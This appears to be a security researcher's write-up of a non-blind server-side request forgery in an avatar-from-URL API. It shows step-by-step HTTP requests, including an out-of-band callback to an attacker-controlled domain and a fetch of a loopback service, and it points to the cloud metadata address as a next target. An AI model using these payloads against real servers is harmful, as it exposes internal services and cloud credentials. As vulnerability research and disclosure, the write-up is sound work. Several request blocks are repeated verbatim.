September 19, 2026
Non-Blind SSRF via Avatar-from-URL: Reaching Loopback Services and Reading the Response
CWE-918: Server-Side Request Forgery CVSS 3.1: 7.7 (High) โ AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
By Neel Chauhan
2 min read
The feature and why it's worth testing
POST /api/profile/avatar-from-url lets a user set their avatar by supplying a URL instead of uploading a file. The critical architectural fact here is that the server fetches that URL, not the browser. Any time a backend makes an outbound request using a value the client controls, that's SSRF territory until proven otherwise, and it needs to be tested in stages, not jumped into directly.
Stage 1: confirm authentication is enforced (negative baseline)
POST /api/profile/avatar-from-url HTTP/2
Content-Type: application/json
{"url":"https://example.com/avatar.png"}
HTTP/2 401 UnauthorizedPOST /api/profile/avatar-from-url HTTP/2
Content-Type: application/json
{"url":"https://example.com/avatar.png"}
HTTP/2 401 UnauthorizedGood, no session, no access. That rules out the simplest failure mode before testing anything interesting.
Stage 2: out-of-band confirmation with Burp Collaborator
Before assuming the server actually reaches attacker-controlled infrastructure, I wanted independent, blind-safe proof that a real outbound request was happening, not just a plausible-looking response. Burp Collaborator generates a unique subdomain and logs any DNS resolution or HTTP hit against it.
POST /api/profile/avatar-from-url HTTP/2
Cookie: session=<authenticated>
Content-Type: application/json
{"url":"https://<unique-id>.oastify.com"}
HTTP/2 200 OK
{
"ok": true,
"fetched": true,
"status": 200,
"content_type": "text/html",
"response_preview": "<html>...</html>"
}POST /api/profile/avatar-from-url HTTP/2
Cookie: session=<authenticated>
Content-Type: application/json
{"url":"https://<unique-id>.oastify.com"}
HTTP/2 200 OK
{
"ok": true,
"fetched": true,
"status": 200,
"content_type": "text/html",
"response_preview": "<html>...</html>"
}The Collaborator client logged the interaction independently:
DNS lookup for <unique-id>.oastify.com
DNS lookup for <unique-id>.oastify.com
DNS lookup for <unique-id>.oastify.com
HTTP request received
Source IPs: 74.125.114.216 / 74.125.114.218 / 172.217.40.16 / 152.55.184.47DNS lookup for <unique-id>.oastify.com
DNS lookup for <unique-id>.oastify.com
DNS lookup for <unique-id>.oastify.com
HTTP request received
Source IPs: 74.125.114.216 / 74.125.114.218 / 172.217.40.16 / 152.55.184.47Confirmed: the server genuinely made an outbound DNS resolution and HTTP request against a domain I control, entirely independent of the app's own claimed response. This is the step that turns "the JSON says fetched: true" into something I can actually stand behind with third-party evidence.
Stage 3: public URL, checking what gets disclosed back
POST /api/profile/avatar-from-url HTTP/2
Content-Type: application/json
{"url":"https://picsum.photos/id/237/200/300"}
HTTP/2 200 OK
{
"ok": true,
"fetched": true,
"status": 200,
"content_type": "image/jpeg",
"response_preview": "..."
}POST /api/profile/avatar-from-url HTTP/2
Content-Type: application/json
{"url":"https://picsum.photos/id/237/200/300"}
HTTP/2 200 OK
{
"ok": true,
"fetched": true,
"status": 200,
"content_type": "image/jpeg",
"response_preview": "..."
}Notice the response includes status, content_type, and a response_preview field. This tells me the app isn't just fetching and discarding, it's relaying details of the upstream response straight back to the caller. That distinction matters enormously for the next test.
Stage 4: the part that actually matters, loopback access
If the server will fetch any URL and echo back what it finds, the next logical question is: can it reach services that are only supposed to be accessible from inside the host itself?
POST /api/profile/avatar-from-url HTTP/2
Content-Type: application/json
{"url":"http://127.0.0.1:8080/"}
HTTP/2 200 OK
{
"ok": true,
"fetched": true,
"status": 200,
"content_type": "text/html; charset=utf-8",
"response_preview": "<!DOCTYPE html>..."
}POST /api/profile/avatar-from-url HTTP/2
Content-Type: application/json
{"url":"http://127.0.0.1:8080/"}
HTTP/2 200 OK
{
"ok": true,
"fetched": true,
"status": 200,
"content_type": "text/html; charset=utf-8",
"response_preview": "<!DOCTYPE html>..."
}The response_preview field came back containing the application's own front-end HTML. That's not a hypothetical, that's direct confirmation that this endpoint can be used to reach services bound to the server's own loopback interface, services that were never meant to be reachable from outside the host at all, and the actual response content is handed straight back to whoever made the request.
Why "non-blind" matters here
Plenty of SSRF findings are blind: you can only infer success through response timing, or by watching for an out-of-band callback, and you never actually see what the internal service returned. This one hands the content directly back in the JSON body. That upgrades the practical severity significantly, because it means an attacker doesn't need to guess at what's running internally, they can read it directly. On typical cloud deployments, the same technique frequently extends to the instance metadata endpoint (commonly 169.254.169.254), which can expose temporary cloud credentials if reachable, a natural next step I'd want to test in a follow-up engagement with explicit authorization for that specific target.